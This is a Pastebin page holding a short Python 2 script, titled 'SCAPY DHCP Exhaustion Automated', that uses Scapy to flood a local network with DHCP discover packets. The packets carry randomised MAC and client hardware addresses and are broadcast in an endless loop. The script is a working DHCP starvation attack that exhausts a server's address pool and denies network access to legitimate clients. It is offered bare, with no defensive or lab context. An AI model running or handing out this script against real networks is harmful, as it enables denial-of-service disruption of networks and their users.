Advertisement
GoodiesHQ

SCAPY DHCP Exhaustion Automated

Apr 22nd, 2014
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.36 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. from scapy.all import *
  3.  
  4. p1 = Ether()
  5. p2 = IP()
  6. p3 = UDP()
  7. p4 = BOOTP()
  8. p5 = DHCP()
  9.  
  10. p1.src=RandMAC()
  11. p1.dst="ff:ff:ff:ff:ff:ff"
  12.  
  13. p2.src="0.0.0.0"
  14. p2.dst="255.255.255.255"
  15.  
  16. p3.sport=68
  17. p3.dport=67
  18.  
  19. p4.chaddr=RandString(12,"abcdef0123456789")
  20.  
  21. p5.options=[("message-type","discover"),"end"]
  22.  
  23. send=sendp(p1/p2/p3/p4/p5, loop=1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement